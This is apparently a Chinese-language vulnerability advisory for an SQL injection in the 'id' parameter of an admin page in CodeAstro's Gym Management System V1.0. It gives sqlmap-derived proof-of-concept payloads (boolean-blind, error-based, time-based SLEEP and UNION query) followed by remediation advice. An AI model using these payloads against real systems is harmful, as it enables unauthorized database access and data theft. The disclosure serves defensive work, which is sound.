关键信息总结 漏洞详情 受影响产品: Gym Management System 厂商主页: https://codeastro.com/gym-management-system-in-php-mysql-with-source-code/ 受影响/修复版本: V1.0 漏洞文件: /Gym-System/admin/view-member-report.php?id=%206 软件链接: https://codeastro.com/gym-management-system-in-php-mysql-with-source-code/ 漏洞类型: SQL 注入 根本原因: - 文件/Gym-System/admin/view-member-report.php?id=%206中存在 SQL 注入漏洞。这是由于参数'id'中的用户输入未经适当验证即直接用于SQL查询所致,允许攻击者伪造输入值,从而操纵 SQL 查询和执行未经授权的操作。 影响: - 攻击者可以利用此 SQL 注入漏洞实现未经授权的数据库访问、敏感数据泄露、数据篡改、全面控制系统,甚至服务中断,从而对系统安全和业务连续性造成严重威胁。 描述: - 在审查“Gym Management System”过程中,我发现/Gym-System/admin/view-member-report.php?id=%206文件中存在严重的SQL注入漏洞,该漏洞的原因是对'id'参数的用户输入验证不足,允许攻击者注入恶意SQL查询。因此,攻击者可以获得对数据库的未经授权的访问,修改或删除数据,并可以访问敏感信息。需要立即进行修复措施,以确保系统安全并保护数据的完整性。 漏洞详情和POC 漏洞别名: 'id'参数 有效载荷: ... Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=6' AND 8161=8161 AND 'LXYF'='LXYF Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=6' OR (SELECT 4971 FROM(SELECT COUNT(),CONCAT(0x716a707071,(SELECT (ELT(4971=4971,1))),0x717a6a71,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'xFDh'='xFDh Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=6' AND (SELECT 6626 FROM (SELECT(SLEEP(5)))geNI) AND 'sDUF'='sDUF ... Type: UNION query Title: Generic UNION query (NULL) - 21 columns Payload: id=6' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a7071,(SELECT CONCAT(SUBSTRING((SELECT (ELT(500=500))),1,7),0x20,(SELECT VERSION()),0x20,(SELECT SUBSTRING(232519744,13,1)),0x20,FLOOR(RAND(0)*2))),0x717a6a71,ETC ... 测试和运行sqlmap工具获得的一些特定信息的截图 建议修复 1. 使用预编译语句和参数绑定: - 使用预编译语句可以防止SQL注入,因为它可以将SQL代码与用户输入的数据分离。使用预编译语句时,用户输入的值被当作纯数据处理,不会被解析为SQL代码。 2. 输入验证和过滤: - 严格验证和过滤用户输入的数据,以确保其符合预期的格式。 3. 最小化数据库用户权限: - 确保用于连接数据库的帐户具有所需的最小必要权限,避免使用具有高级权限(如'根'或'管理')的帐户进行日常操作。 4. 定期安全审计: - 定期进行代码和系统安全审计,以及时发现和修复潜在的安全漏洞。